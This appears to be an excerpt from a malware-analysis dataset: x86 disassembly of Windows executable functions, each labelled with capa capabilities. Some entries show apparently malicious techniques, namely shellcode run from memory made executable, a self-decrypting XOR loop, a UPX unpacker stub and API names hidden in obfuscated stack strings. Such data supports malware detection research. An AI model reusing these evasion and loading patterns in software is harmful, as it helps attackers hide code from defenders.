joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004b49a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
cmp byte [esi + 0x2d], 0
je 0x1004b50e
mov eax, dword [esi + 0x3c]
xor ebx, ebx
cmp eax, ebx
je 0x1004b4c6
cmp dword [esi + 0x40], edi
jae 0x1004b4c6
push eax
call fcn.10067c53
pop ecx
mov dword [esi + 0x3c], ebx
cmp dword [esi + 0x3c], ebx
jne 0x1004b4db
lea eax, [edi + edi]
push eax
call fcn.10067c2a
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
push edi
push dword [ebp + 8]
push dword [esi + 0x3c]
call fcn.1004cdc0
add esp, 0xc
test edi, edi
jbe 0x1004b50b
mov eax, dword [esi + 0x3c]
mov al, byte [ebx + eax]
push eax
lea eax, [esi + 0x30]
push eax
call fcn.1004b102
pop ecx
pop ecx
mov ecx, dword [esi + 0x3c]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jb 0x1004b4ee
mov edx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x1004b53d
mov eax, dword [esi + 0x24]
lea ebx, [eax + edi]
cmp ebx, dword [esi + 0x28]
jb 0x1004b529
mov dword [esi + 0x14], 0x30000
jmp 0x1004b55f
push edi
add eax, ecx
push edx
push eax
call fcn.1004cdc0
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
jmp 0x1004b561
mov eax, dword [esi + 4]
test eax, eax
je 0x1004b558
lea ecx, [ebp + 8]
push 0
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp + 8]
jmp 0x1004b561
mov dword [esi + 0x14], 0x1000000
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1004dfe0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1004e000
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1004ea8e
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1004e023
test byte [esp + 8], 2
je 0x1004e023
call fcn.1004eb01
mov dword [eax], 0xd
call fcn.1004eb0a
mov dword [eax], 5
jmp 0x1004dffc
xor eax, eax
ret
Function at 0x405630
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x424004]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [0x461fec]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40566a
mov ecx, dword [0x425934]
mov dword [0x462374], ecx
cmp eax, 0x3c
jne 0x405677
push ebx
call edi
mov eax, dword [0x461fec]
inc esi
cmp esi, 0x5f6c74
jl 0x405656
cmp eax, 0x7c
jne 0x4056c8
push ebx
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp eax, 0x110a
jne 0x40572a
push ebx
mov dword [0x461fe0], ebx
mov dword [0x461fe4], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.pumediviyororevinayawogedo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor ecx, ecx
cmp dword [0x461fec], ebx
jbe 0x40576b
lea esp, [esp]
mov eax, dword [0x462374]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x461d10]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x461fec]
jb 0x405740
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x461fec]
mov edx, dword [0x461d10]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055c0
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea esp, [esp]
lea eax, [esp + 0x1c]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4057d3
cmp dword [esp + 0x24], 0xf5bed7
jne 0x4057dc
inc esi
cmp esi, 0x1ece7a52
jl 0x4057b0
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x12e6c3
jne 0x4057f5
call fcn.00405440
cmp dword [0x461fec], 0x3dc
mov dword [0x461d14], 0x8e46a6f0
jne 0x405825
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
inc esi
cmp esi, 0x1519a5
jl 0x4057e8
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
pop esp
jae 0x4153cc
inc ebp
rcr dword [eax], cl
invalid
outsd dx, dword [esi]
xor dword [edi], esi
xchg byte [eax - 0x11e1df31], dl
inc ebp
fidiv dword [ebx + 0x3a]
and byte [edi - 0xd], ah
rcr dword [ebx + 0x5d3ab87b], cl
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
jnp 0x41539a
cmp bl, byte [ebp + 0x2b]
sar dword [esi - 0x48cfd126], 1
dec ebx
cmp al, 0x72
fcompi st(1)
fcomp st(1)
test dword [edi], esp
ror dh, 1
invalid

Function at 0x440440
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d000]
push edi
jmp 0x44045a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x440461
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x440450
mov eax, 1
add ebx, ebx
jne 0x440473
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x440468
jne 0x440484
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x440468
xor ecx, ecx
sub eax, 3
jb 0x440498
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44050a
mov ebp, eax
add ebx, ebx
jne 0x4404a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4404b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4404d4
inc ecx
add ebx, ebx
jne 0x4404c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4404b5
jne 0x4404d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4404b5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4404f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4404e5
jmp 0x440456
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4404f4
add edi, ecx
jmp 0x440456
pop esi
lea edi, [esi + 0x3e000]
mov eax, dword [edi]
or eax, eax
je 0x44055c
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4135c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x41398]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x440511
mov ecx, edi
jns 0x440540
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x413a0]
or eax, eax
je 0x440556
mov dword [ebx], eax
add ebx, 4
jmp 0x44052e
call dword [esi + 0x4139c]
mov ebp, dword [esi + 0x413a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1bf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x440590
sub esp, 0xffffff80
jmp 0x403e0c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001cb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001cd0f
mov eax, dword fs:[0]
push eax
sub esp, 0x270
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x27c], esi
mov dword [ebp - 0x278], 0
mov dword [ebp - 4], 0
mov dword [esi], 0
call fcn.10004c40
mov ecx, eax
test ecx, ecx
je 0x10001ee0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push 0x200
lea eax, [ebp - 0x268]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x278], 1
call fcn.1000b850
mov eax, 0x46
mov dword [ebp - 0x26c], 0x200
mov word [ebp - 0x64], ax
mov ecx, 0x70
mov eax, 0x66
mov dword [ebp - 0x68], 0x4f0053
mov word [ebp - 0x48], ax
mov dword [ebp - 0x34], 0x610072
mov dword [ebp - 0x4c], 0x6f0073
lea edi, [eax + 9]
mov dword [ebp - 0x3a], 0x6f0074
lea ebx, [eax + 3]
mov dword [ebp - 0x5a], 0x5c0045
mov eax, 0x67
mov dword [ebp - 0x46], 0x5c0074
mov word [ebp - 0x36], ax
mov eax, 0x43
mov word [ebp - 0x42], ax
lea eax, [ebp - 0x274]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x40], 0x790072
push eax
push 0x80000002
mov dword [ebp - 0x62], 0x570054
mov dword [ebp - 0x2c], 0x79
mov dword [ebp - 0x30], 0x680070
mov dword [ebp - 0x5e], 0x520041
mov dword [ebp - 0x52], 0x720063
mov dword [ebp - 0x56], 0x69004d
mov word [ebp - 0x3c], cx
mov word [ebp - 0x4e], di
call fcn.10006660
add esp, 0x20
test eax, eax
jne 0x10001ec2
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x1e], 0x65006e
push eax
lea eax, [ebp - 0x268]
mov dword [ebp - 0x24], 0x680063
push eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x14], 0x64
push eax
push 0
lea eax, [ebp - 0x28]
mov word [ebp - 0x20], bx
push eax
push dword [ebp - 0x274]
mov dword [ebp - 0x1a], 0x750047
mov word [ebp - 0x16], bx
mov dword [ebp - 0x28], 0x61004d
call fcn.10006ca0
add esp, 0x18
test eax, eax
je 0x10001ea6
lea eax, [ebp - 0x274]
push eax
push 0x20119
push 0
lea eax, [ebp - 0x68]
push eax
push 0x80000002
call fcn.10006660
add esp, 0x14
test eax, eax
jne 0x10001ec2
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x270]
push eax
push 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x274]
call fcn.10006ca0
add esp, 0x18
test eax, eax
jne 0x10001ec2
lea eax, [ebp - 0x268]
mov ecx, esi
push eax
call fcn.10004200
push dword [ebp - 0x274]
call fcn.10006f70
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.10004560
int3
Function at 0x10003960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x868
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
mov dword [0x10029a10], eax
mov eax, dword [ebp + 0xc]
push 0x400
mov dword [0x10029a14], eax
lea eax, [ebp - 0x868]
push 0
push eax
mov dword [0x10029a0c], esi
call fcn.1000b850
push 0x400
lea eax, [ebp - 0x468]
push 0
push eax
call fcn.1000b850
add esp, 0x18
test esi, esi
je 0x100039e3
mov esi, dword [esi]
test esi, esi
je 0x100039e3
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x868]
push eax
call fcn.10007150
mov eax, dword [0x10029a0c]
add esp, 8
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x64], 0x6e61536e
push eax
lea eax, [ebp - 0x868]
mov dword [ebp - 0x55], 0x667474
push eax
lea eax, [ebp - 0xc]
mov word [ebp - 0x67], 0x704f
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x468]
mov dword [ebp - 0x5c], 0x6f62696d
push 0x400
push eax
mov byte [ebp - 0x65], 0x65
mov word [ebp - 0x57], 0x2e64
mov dword [ebp - 0x60], 0x65532d73
mov byte [ebp - 0x58], 0x6c
mov byte [ebp - 0x68], 0x5c
mov dword [ebp - 0x50], 0x65704f5c
mov dword [ebp - 0x46], 0x75676552
mov dword [ebp - 0x4c], 0x6e61536e
mov word [ebp - 0x41], 0x7261
mov word [ebp - 0x48], 0x2d73
mov dword [ebp - 0x3e], 0x667474
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov dword [ebp - 0x29], 0x74742e63
mov dword [ebp - 0x2e], 0x6c617449
mov word [ebp - 0x25], 0x66
mov dword [ebp - 0x37], 0x6e65704f
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x38], 0x5c
mov dword [ebp - 0x32], 0x2d736e61
mov byte [ebp - 0x33], 0x53
mov dword [ebp - 0x12], 0x6674742e
mov word [ebp - 0x19], 0x736e
mov dword [ebp - 0x16], 0x646c6f42
mov dword [ebp - 0x20], 0x65704f5c
mov byte [ebp - 0xe], 0
mov word [ebp - 0x1c], 0x536e
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x17], 0x2d
mov dword [ebp - 0xb], 0x732573
mov byte [ebp - 0xc], 0x25
call fcn.10005640
lea eax, [ebp - 0x468]
push eax
call fcn.100070b0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x468]
push 0x400
push eax
call fcn.10005640
lea eax, [ebp - 0x468]
push eax
call fcn.100070b0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x468]
push 0x400
push eax
call fcn.10005640
add esp, 0x50
lea eax, [ebp - 0x468]
push eax
call fcn.100070b0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x468]
push 0x400
push eax
call fcn.10005640
lea eax, [ebp - 0x468]
push eax
call fcn.100070b0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
Function at 0x100050c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10005119
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10005119
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x1000510a
cmp esi, edx
jae 0x10005119
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x100050f8
cmp esi, edx
jae 0x10005119
cmp word [esi], 0
je 0x10005119
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10006070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x2c], eax
xor esi, esi
push edi
lea eax, [ebp - 0x10]
mov word [ebp - 0xc], 0x336c
push eax
mov word [ebp - 0xf], 0x6568
mov dword [ebp - 9], 0x6c6c642e
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 5], 0
mov byte [ebp - 0xa], 0x32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000611d
lea eax, [ebp - 0x28]
mov dword [ebp - 0x1d], 0x6c6f466c
push eax
push edi
mov dword [ebp - 0x18], 0x61507265
mov word [ebp - 0x28], 0x4853
mov dword [ebp - 0x25], 0x70537465
mov dword [ebp - 0x14], 0x576874
mov word [ebp - 0x20], 0x6963
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x26], 0x47
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10006116
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x2c]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret

Function at 0x100061f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x28], eax
mov esi, 1
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6c687049
push eax
mov word [ebp - 0xc], 0x642e
mov word [ebp - 9], 0x6c
mov word [ebp - 0xf], 0x7061
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xa], 0x6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000628c
lea eax, [ebp - 0x24]
mov dword [ebp - 0x23], 0x64417465
push eax
push edi
mov word [ebp - 0x19], 0x6e49
mov dword [ebp - 0x1f], 0x65747061
mov word [ebp - 0x16], 0x6f
mov word [ebp - 0x1b], 0x7372
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x17], 0x66
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10006285
push dword [ebp - 0x28]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
Function at 0x10006350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x1c]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x20]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x14]
push eax
mov word [ebp - 0x2a], 0x5674
mov dword [ebp - 0x20], 0x616d726f
mov dword [ebp - 0x25], 0x6e49656d
mov word [ebp - 0x1c], 0x6974
mov word [ebp - 0x27], 0x756c
mov byte [ebp - 0x21], 0x66
mov word [ebp - 0x2c], 0x6547
mov word [ebp - 0x19], 0x576e
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x28], 0x6f
mov word [ebp - 0xa], 0x6c6c
mov word [ebp - 0x14], 0x654b
mov dword [ebp - 0xf], 0x2e32336c
mov word [ebp - 0x11], 0x656e
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 8], 0
mov byte [ebp - 0xb], 0x64
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000641d
push dword [ebp + 0x24]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
push dword [ebp + 0x10]
push edi
push esi
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret

Function at 0x10006430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x22], 0x746e6572
push eax
mov dword [ebp - 0x1a], 0x737365
mov word [ebp - 0x1d], 0x6f72
mov dword [ebp - 0x26], 0x72754374
mov byte [ebp - 0x1e], 0x50
mov word [ebp - 0x28], 0x6547
mov byte [ebp - 0x1b], 0x63
mov word [ebp - 0xa], 0x6c6c
mov word [ebp - 0x14], 0x654b
mov dword [ebp - 0xf], 0x2e32336c
mov word [ebp - 0x11], 0x656e
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 8], 0
mov byte [ebp - 0xb], 0x64
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100064b7
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
xor ecx, ebp
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret
Function at 0x100064d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x30], eax
xor esi, esi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xa], 0x6c6c642e
push eax
mov dword [ebp - 0xf], 0x33726573
mov byte [ebp - 6], 0
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0x10], 0x55
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10006564
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x17], 0x644973
push eax
push edi
mov dword [ebp - 0x1f], 0x72506461
mov dword [ebp - 0x2c], 0x57746547
mov dword [ebp - 0x23], 0x65726854
mov dword [ebp - 0x1b], 0x7365636f
mov dword [ebp - 0x27], 0x776f646e
mov byte [ebp - 0x28], 0x69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000655d
push dword [ebp - 0x30]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret

Function at 0x10006580
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10029034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x18]
push esi
mov dword [ebp - 0x34], eax
xor esi, esi
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x14]
push edi
push eax
mov dword [ebp - 0x13], 0x70617664
mov dword [ebp - 0xd], 0x6c642e32
mov word [ebp - 9], 0x6c
mov word [ebp - 0xf], 0x3369
mov byte [ebp - 0x14], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000663e
lea eax, [ebp - 0x2c]
mov word [ebp - 0x1f], 0x7669
push eax
push edi
mov word [ebp - 0x25], 0x6b6f
mov dword [ebp - 0x1c], 0x6567656c
mov word [ebp - 0x22], 0x506e
mov dword [ebp - 0x2c], 0x756a6441
mov byte [ebp - 0x23], 0x65
mov word [ebp - 0x18], 0x73
mov word [ebp - 0x27], 0x5474
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x20], 0x72
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10006637
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp + 0x14]
push dword [ebp - 0x38]
push dword [ebp + 0xc]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000a1d4
mov esp, ebp
pop ebp
ret